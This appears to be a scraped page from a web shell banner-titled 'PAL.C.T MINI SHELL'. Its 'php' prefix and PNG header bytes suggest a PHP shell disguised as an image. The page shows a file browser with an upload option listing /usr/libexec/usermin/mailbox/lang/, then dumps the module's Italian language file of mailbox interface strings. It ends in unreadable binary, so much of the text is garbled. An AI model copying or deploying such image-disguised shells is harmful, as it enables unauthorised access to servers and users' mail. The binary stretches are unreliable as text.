php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/mailbox/lang/
upload
files >> //usr/libexec/usermin/mailbox/lang/it

__norefs=1
acl_all=Tutti
acl_any=Ogni indirizzo
acl_apath=Limita file e programmi per directory
acl_asame=Lo stesso del nome utente
acl_attach=Dimensione totale massima degli allegati
acl_canattach=Può allegare file server-side?
acl_candetach=Può staccare il file al server?
acl_dir=Può leggere mail nella directory
acl_dirauto=Decidi automaticamente  (ovunque se tutti gli  utenti sono visibili, al contrario da nessuna parte)
acl_faddrs=Indirizzi elencati
acl_fdom=qualsiasi_indirizzo@dominio
acl_fdoms=casella_di_posta@domini
acl_from=Mittenti permessi
acl_fromname=Nome reale per il mittente
acl_none=Nessuno
acl_read=Utenti la cui posta può essere letta
acl_same=Utente con lo stesso nome
acl_sec=Includere i gruppi secondari?
acl_sent=Salva la posta inviata
acl_unlimited=Illimitati
acl_users=Solo gli utenti
acl_userse=Tutti gli utenti tranne
acl_usersg=Membri dei gruppi
acl_usersm=Utenti che corrispondono a
acl_usersu=Con l'UID nell'intervallo
black_already=L'indirizzo email $1 è già sulla lista degli indirizzi negati di SpamAssassin.
black_done=L'indirizzo email $1 è stato aggiunto alla lista degli indirizzi negati di SpamAssassin.
black_title=Mittente respinto
compose_title=Scrivi email
confirm_ok=Cancella adesso
confirm_title=Conferma eliminazione
confirm_warn=Sei sicuro di voler cancellare i $1 messaggi selezionati da questa cartella?
confirm_warn2=A causa della dimensione e del formato della tua mailbox questa operazione potrebbe richiedere un pò di tempo. Finché l'operazione di cancellazione non sarà completata non sarà possibile eseguire altre operazioni.
confirm_warn3=Sei sicuro di voler cancellare questo messaggio?
confirm_warn4=Finché l'operazione di cancellazione non sarà completata non sarà possibile eseguire altre operazioni
confirm_warnall=Sei sicuro di voler eliminare tutti i messaggi in questa cartella?
confirm_warnallf=Sei sicuro di voler cancellare tutti i messaggi nella cartella <b>$1</b>?
confirm_warnf=Sei sicuro di voler cancellare i $1 messaggi selezionati dalla cartella <b>$2</b>?
delall_ok=Cancella adesso
delall_rusure=Sei sicuro di voler cancellare tutti i messaggi inviati da $1? $2 messaggi per un totale di $3 saranno cancellati in maniera definitiva.
delall_title=Cancella tutti i messaggi
delete_ebnone=Nessun messaggio da respingere selezionato
delete_ecannot=Non hai i permessi per cancellare la posta di questo utente
delete_ecopycannot=Non hai i permessi per copiare la posta dell'utente specificato
delete_ecopynone=Non sono stati selezionati messaggi da copiare
delete_ecopyuser=L'utente a cui copiare i messaggi non esiste
delete_efnone=Non sono stati selezionati messaggi da inoltrare
delete_ehnone=Nessun messaggio da segnalare come valido selezionato
delete_emnone=Nessun messaggio selezionato da marcare
delete_emovecannot=Non hai i permessi per spostare la posta dell'utente specificato
delete_emovenone=Non sono stati selezionati messaggi da spostare
delete_emoveuser=L'utente a cui spostare i messaggi non esiste
delete_enone=Non sono stati selezionati messaggi da cancellare
delete_ereport=Segnalazione del messaggio come spam non riuscita: $1
delete_ernone=Non sono stati selezionati messaggi da segnalare come spam
delete_errc=Copia dei messaggi non riuscita
delete_errm=Spostamento dei messaggi non riuscito
delete_ewnone=Nessun messaggio da permettere selezionato
delete_nobutton=Nessun pulsante cliccato
delete_ok=Cancella adesso
delete_rusure=Sei sicuro di voler cancellare i $1 messaggi selezionati da $2? Questa operazione potrebbe richiedere molto tempo per i messaggi pi&#249; grossi. Finch&#233; l'operazione di cancellazione non sar&#224; completata non sar&#224; possibile eseguire altre operazioni.
delete_rusure2=Sei sicuro di voler cancellare questo messaggio da $1? Questa operazione potrebbe richiedere molto tempo per i messaggi pi&#249; grossi. Finch&#233; l'operazione di cancellazione non sar&#224; completata non sar&#224; possibile eseguire altre operazioni.
delete_title=Cancella messaggio
detach_edir=Nessun file o directory da salvare inserito
detach_eopen=Apertura di $1 non riuscita: $2
detach_err=Distacco del file non riuscito
detach_ewrite=Scrittura su $1 non riuscita: $2
detach_ok=E' stato scritto un allegato sul file lato server $1 ($2).
detach_title=Stacca il file
emodified=Questa cartella &#232; stata modificata dall'ultima visita! Ritorna all'<a href='$1'>elenco dei messaggi</a> per riprovare.
enew_title=Modifica Email
find_enone=Non &#232; stato trovato alcun utente che corrisponde ai criteri di ricerca
find_fcount=Cartelle
find_group=Gruppo
find_home=Directory Home
find_in=$1 in $2
find_incount=Messaggi
find_real=Nome reale
find_results=Ricerca utenti corrispondenti a $1...
find_sentcount=Inviati
find_size=Dimensione del messaggio
find_title=Risultati della ricerca
find_user=Nome utente
folder_drafts=Bozze
folder_inbox=Posta in arrivo
folder_sent=Posta inviata
folder_trash=Cestino
forward_title=Inoltra messaggio
ham_report=Segnalazione di questo messaggio come non spam a Razor o ad altri archivi di SpamAssassin in corso...
ham_title=Segnalazione di messaggio valido
index_contains=contiene
index_empty=Nessun messaggio
index_eperl=Il modulo Perl $1 necessario per la modalit&#224; di autenticazione SMTP selezionata non &#232; installato, o manca un modulo da cui dipende. <a href='$2'>Clicca qui</a> per installarlo adesso.
index_equals=uguale
index_esystem=Nessun server di posta supportato (Exim, Qmail, Postfix and Sendmail) &#232; stato individuato nel tuo sistema. E' necessario verificare la <a href='$1'>configurazione del modulo</a> per impostare manualmente il server di posta eventualmente installato e i possibili percorsi in cui &#232; salvata la posta.
index_esystem2=Il server di posta impsotato nella <a href='$1'>configurazione del modulo</a> non &#232; stato trovato nel sistema. E' necessario verificare la configurazione impostando il aserver corretto da usare.
index_esystem3=Si &#232; verificato un errore durante la comunicazione con il sistema di posta impostato nella <a href='$1'>configurazione del modulo</a>: $2
index_file=Leggi la posta nel file:
index_find=Cerca utenti con nome utente
index_header=Caselle di posta dell'utente
index_none=Non hai i permessi per leggere la posta degli utenti su questo sistema.
index_nousers=Nessun utente trovato!
index_nousersmail=Nessun utente con messaggi trovato.
index_return=lista degli utenti
index_system0=Server di posta: Postfix
index_system1=Server di posta: Sendmail
index_system2=Server di posta: Qmail
index_system4=Server mail: Qmail+LDAP
index_system5=Server mail: Qmail+VPopMail
index_system6=Server mail: Exim
index_title=Leggi la posta degli utenti
index_toomany=Non &#232; possibile visualizzare tutti gli utenti in una sola pagina.
ldap_ebase=Nessun Base DN per LDAP impostato nella configurazione del modulo
ldap_econn=Connessione al server LDAP $1 sulla porta $2 non riuscita
ldap_ehost=Nessun server LDAP impostato nella configurazione del modulo
ldap_elogin=Binding del server LDAP $1 come $2 non riuscito: $3
ldap_emod=Il modulo Perl $1 necessario per connettersi a LDAP non &#232; stato trovato
ldap_eport=Nessuna porta valido del server LDAP impostata nella configurazione del modulo
ldap_euser=Nessuna impostazione di connessione al server LDAP impostata nella configurazione del modulo
log_copymail=Sono stati copiati $1 messaggi da $2 a $3
log_delmail=Sono stati cancellati $1 messaggi da $2
log_movemail=Sono stati spostati $1 messaggi da $2 a $3
log_read=Leggi la posta di $1
log_send=Messaggio inviato a $1
mail_addresses=Gestisci la rubrica
mail_advanced=Ricerca avanzata
mail_all=Seleziona tutti
mail_bcc=Bcc
mail_black=Respingi i mittenti
mail_body=Corpo
mail_cc=Cc
mail_compose=Scrivi
mail_copy=Copia in:
mail_crypt=Cripta il messaggio per
mail_date=Data
mail_delall=Cancella tutto
mail_delete=Cancella
mail_deleteall=Cancella tutto
mail_deltrash=Svuota il cestino
mail_ecannot=Non hai i permessi per leggere la posta di questo utente
mail_eexists=Il messaggio non esiste pi&#249;!
mail_efile=Il file della posta non esiste
mail_err=Si &#232; verificato un errore durante la visualizzazione dei messaggi in questa cartella: $1
mail_esystem=Si &#232; verificato un errore durante la comunicazione con il sistema di posta: $1. Questo errore deve essere corretto dall'amministratore del sistema.
mail_fchange=Cambia
mail_folder=Cartella
mail_folders=Gestione cartelle
mail_for=In $1
mail_for2=Per l'utente $1
mail_forward=Inoltra
mail_from=Da
mail_fromfilter=Creare filtro mittente
mail_fromsrch=Lo stesso mittente
mail_high=Alta
mail_highest=Altissima
mail_indexlink=Torna alla casella di posta
mail_invert=Inverti selezione
mail_jump=Vai alla pagina:
mail_level=Livello
mail_login=Login
mail_logindesc=Devi inserire il tuo nome utente e la tua password<br>per accedere alla tua casella di posta sul server $1.
mail_loginheader=Login per il server POP3
mail_loginheader2=Login al server IMAP
mail_loginmailbox=Casella IMAP
mail_loginpass=Password
mail_loginuser=Nome utente
mail_logout=Cambia il login POP3
mail_logout2=Cambia il login IMAP
mail_low=Bassa
mail_lowest=Bassissima
mail_mark=Segna come:
mail_mark0=Non letto
mail_mark1=Letto
mail_mark2=Speciale
mail_match=corrisponde
mail_move=Sposta in:
mail_nocrypt=&lt;Non crittografare&gt;
mail_none=Questo utente non ha messaggi in $1
mail_nonefrom=Nessuno
mail_normal=Normale
mail_nosign=&lt;Non firmare&gt;
mail_nosort=Reimposta ordinamento.
mail_of=di
mail_ok=Cerca
mail_open=Apri
mail_pos=Messaggi dal $1&#176; al $2&#176; su un totale di $3 in $4
mail_pri=Priorit&#224;
mail_replyto=Rispondi a
mail_reset=Pulisci
mail_return=Casella utente
mail_return2=Email dell'utente
mail_rfc=Dalla linea
mail_samecrypt=&lt;Chiavi per gli indirizzi di destinazione&gt;
mail_search=Cerca messaggi in cui
mail_search2=Cerca:
mail_search3=Trova quelli di livello maggiore:
mail_selread=Seleziona i messaggi letti
mail_selspecial=Seleziona gli speciali.
mail_selunread=Seleziona i messaggi non letti
mail_sent=Nell'elenco della posta inviata
mail_sig=Modifica firma
mail_sign=Firma con chiave:
mail_size=Dimensione
mail_subfilter=Creare filtro soggetto
mail_subject=Oggetto
mail_subsrch=Stesso oggetto:
mail_title=Posta dell'utente
mail_to=A
mail_tofilter=Creare filtro destinatario
mail_tosrch=Lo stesso destinatario:
mail_unknown=Sconosciuto
mail_white=Consenti i mittenti
mail_whitemove=Consenti i mittenti e le caselle di posta
razor_deleted=... fatto, e i messaggi sono stati cancellati.
razor_done=... fatto
razor_err=... non riuscito! Leggi i messaggi di errore in alto per individuare la ragione.
razor_moved=... fatto, e i messaggi sono stati spostati nella cartella $1.
razor_report=Sto segnalando questo messaggio a Razor o ad altri archivi per il blocco dello spam di SpamAssassin ...
razor_report2=Sto segnalando i messaggi selezionati a Razor e ad altri archivi anti-spam di SpamAssassin...
razor_report3=Sto annullando la segnalazione dei messaggi selezionati a Razor e ad altri archivi anti-spam di SpamAssassin...
razor_title=Segnala come spam
razor_title2=Segnalazione del messaggio come valido in corso...
reply_aboot=Aggiungere destinatario alla rubrica?
reply_addattach=Aggiungere campo allegato.
reply_addssattach=Aggiungere campo allegato server-side.
reply_attach=Allegati inoltrati
reply_attach2=Allegati lato client e lato server
reply_attach3=Allegati inviati
reply_body=Testo del messaggio
reply_del=Richiedere notifica di stato di consegna?
reply_draft=Salva come bozza
reply_dsn=Richiedere notifica stato di lettura?
reply_ecannot=Non hai i permessi per inviare messaggi a nome di questo utente
reply_efwdnone=Nessuno dei messaggi inoltrati esiste
reply_errc=Copia dei messaggi non riuscita
reply_errm=Spostamento dei messaggi non riuscito
reply_headers=Intestazioni Mail
reply_html0=Componi testo
reply_html1=Componi HTML
reply_mailforward=Messaggi inoltrati
reply_return=scrivi messaggio
reply_save=Salva e modifica
reply_send=Invia messaggio
reply_spell=Controllare l'ortografia?
reply_tabbcc=BCC
reply_tabcc=CC
reply_tabfrom=Da
reply_taboptions=Opzioni
reply_tabreplyto=Rispondi A
reply_tabsigning=Firma
reply_tabto=A
reply_title=Rispondi al messaggio
search_all=in tutte le cartelle
search_allstatus=Tutti
search_attach=Deve avere un allegato?
search_ecannot=Non hai i permessi per cercare tra i messaggi di questo utente
search_efield=Devi selezionare il tipo di ricerca.
search_elatest=Numero di messaggi da cercare mancante o non valido
search_ematch=Devi inserire del testo per il confronto.
search_enone=Nessun criterio di ricerca inserito
search_escore=Livello di spam mancante o non valido
search_ewhat=Nessun testo inserito per il confronto con la riga $1
search_latest=Messaggi da cercare
search_latestnum=Solo i pi&#249; recenti
search_limit=(dagli ultimi $1 messaggi)
search_local=Nella cartelle locali
search_msg2=Risultato della ricerca per $1
search_msg4=Risultato della ricerca
search_msg5=Risultati della ricerca di spam di livello $1
search_nolatest=Tutti nella cartella
search_none=Nessun messaggio trovato.
search_onestatus=Solo lo stato
search_results2=$1 messaggi corrispondenti a  $2
search_results3=$1 messaggi non corrispondenti $2
search_results4=$1 messaggi corrispondenti ai criteri di ricerca
search_results5=$1 messaggi di posta in cui $2 corrisponde a $3
search_status=Con stato
search_title=Risultati della ricerca
search_withstatus=, con stato $1
send_done=... fatto.
send_draft=Il messaggio a  $1 &#232; stato salvato nella cartella bozze
send_drafting=Sto salvando il messaggio a $1 nella cartella delle bozze...
send_eattach=Gli allegati non possono avere una dimensione totale superiore a $1 Kb.
send_eattachsize=Gli allegati superano la dimensione massima permessa di $1 bytes
send_ecannot=Non hai i permessi per inviare mail a questo utente
send_ecrypt=Criptatura del messaggio non riuscita: $1
send_efile=Lettura dell'allegato $1 non riuscita: $2
send_efrom=Manca l'indirizzo del mittente
send_ekey=Non &#232; stata trovata alcuna chiave per l'indirizzo $1
send_eline=nella riga $1:
send_epass=Non puoi apporre una firma al messaggio perch&#232; la tua password non &#232; stata ancora impostata nel modulo GnuPG.
send_epath=L'eseguibile di Sendmail $1 non esiste.
send_eperms=L'utente $1 non pu&#242; leggere $2
send_eperms2=Non hai i permessi per inviare file $1
send_err=Invio del messaggio non riuscito
send_esign=Firma del messaggio non riuscita: $1
send_esmtp=Comando SMTP $1 non riuscito: $2
send_espell=I seguenti errori grammaticali sono stati trovati nel messaggio:
send_esubject=Oggetto del messaggio mancante
send_eto=Indirizzo del destinatario mancante
send_eword=Errore grammaticale $1
send_eword2=Errore grammaticale $1 - Correzioni possibili $2
send_ok=Messaggio inviato con successo a  $1
send_sending=Invio del messaggio a $1...
send_title=Messaggio inviato
send_title2=Messaggio salvato
sform_all=&lt;Tutte le cartelle&gt;
sform_allmsg=intero messaggio
sform_and=Cerca i messaggi che corrispondono ai seguenti criteri:
sform_andmode=Criteri modalit&#224;
sform_bcc=Bcc: intestazione
sform_body=corpo del messaggio
sform_cc=CC: intestazione
sform_date=Data: intestazione
sform_folder2=Cerca nella/e cartella/e
sform_from=Da: intestazione
sform_header=Opzioni di ricerca avanzata dei messaggi
sform_headers=tutte le intestazioni
sform_local=&lt;Cartelle locali&gt;
sform_neg0=contiene
sform_neg1=non contiene
sform_ok=Cerca ora
sform_or=Cerca messaggi che corrispondono a tutti i criteri seguenti:
sform_return=Form di ricerca avanzata
sform_size=Dimensione del messaggio
sform_subject=Oggetto: intestazione
sform_text=il testo
sform_title=Ricerca avanzata
sform_to=A: intestazione
sform_where=Dove
slide_next=Successivo
slide_prev=Precedente
slide_title=Immagini allegate
view_aactions=Azioni
view_aall=Salva tutti gli allegati in formato ZIP
view_afile=Nome allegato
view_allheaders=Vedi tutte le intestazioni
view_anofile=Nessun nome file
view_aopen=Apri
view_aplain=Raw
view_asave=Salva
view_ashtml=Visualizza in HTML
view_asize=Dimensione
view_aslideshow=Mostra tutte le immagini.
view_astext=Visualizza come testo
view_attach=Allegati
view_atype=Tipo allegato
view_aview=Vedi
view_black=Blocca il mittente
view_body=Contenuti del messaggio
view_crypt=Decriptazione del messaggio con GnuPG
view_crypt_1=Il messaggio &#232; crittografato ma il supporto GnuPG non &#232; installato.
view_crypt_2=Decriptazione del messaggio non riuscita: $1
view_crypt_3=Messaggio decriptato con successo.
view_crypt_4=La parte del messaggio criptata &#232; stata decriptata con successo.
view_dall=&lt;Tutti i file&gt;
view_delete=Cancella
view_desc=Messaggio $1 in  $2
view_desc2=Messaggio $1 per l'utente $2
view_desc3=Messaggio $1
view_detach=Stacca il file:
view_dheader=Stacca l'allegato sul server
view_diagnostic-code=Dettaggli dell'errore
view_dir=al file server o directory:
view_dstatus=Stato di consegna non riuscita
view_dstatusok=Stato di consegna avvenuta
view_ecannot=Non hai i permessi per leggere la posta di questo utente
view_egone=Questo messaggio non esiste pi&#249;
view_enew=Modifica come nuovo
view_eugone=Questo utente non esiste
view_final-recipient=Destinatario finale
view_folder=Torna alla casella di posta
view_forward=Inoltra
view_gnupg=Verifica la firma GnuPG
view_gnupg_0=La firma di $1 &#232; valida.
view_gnupg_1=La firma di $1 &#232; valida, ma non &#232; possibile instaurare una connessione affidabile.
view_gnupg_2=La firma di $1 <b>NON</b> &#232; valida
view_gnupg_3=L'ID $1 della chiave non &#232; nella lista, quindi la firma non pu&#242; essere verificata.
view_gnupg_4=Verifica della firma non riuscita: $1
view_ham=Segnala come valido
view_hammove=Segnala come valido
view_headers=Intestazioni dei messaggi
view_images=Mostra le immagini
view_mark=Segna come:
view_mark0=Non letto
view_mark1=Letto
view_mark2=Speciale
view_markas0=Non letti
view_markas1=Letti
view_markas2=Speciale
view_noheaders=Visualizza intestazioni in modalit&#224; base
view_print=Stampa
view_qdesc=Il messaggio $1 &#232; stato accodato
view_raw=Visualizza il messaggio originale
view_razor=Segnala come spam
view_razordel=Cancella i messaggi di spam
view_recv=<a href='$2'>Recupero l'ID $1 della chiave dal server</a>.
view_remote-mta=Server di posta remoto
view_reply=Rispondi
view_reply2=Rispondi a tutti
view_reporting-mta=Segnalo il server di posta
view_return=email originale
view_sent=Messaggio $1 nella lista dei messaggi inviati
view_strip=Elimina gli allegati
view_sub=Messaggio allegato
view_sub2=Messaggio allegato da <i>$1</i>
view_title=Leggi messaggio
view_white=Consenti il mittente
view_whitemove=Consenti il mittente e la casella di posta
white_already=L'indirizzo email $1 &#232; gi&#224; sulla lista degli indirizzi consentiti da SpamAssassin.
white_done=L'indirizzo email $1 &#232; stato aggiunto alla lista degli indirizzi consentiti da SpamAssassin.
white_title=Mittente consentito
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`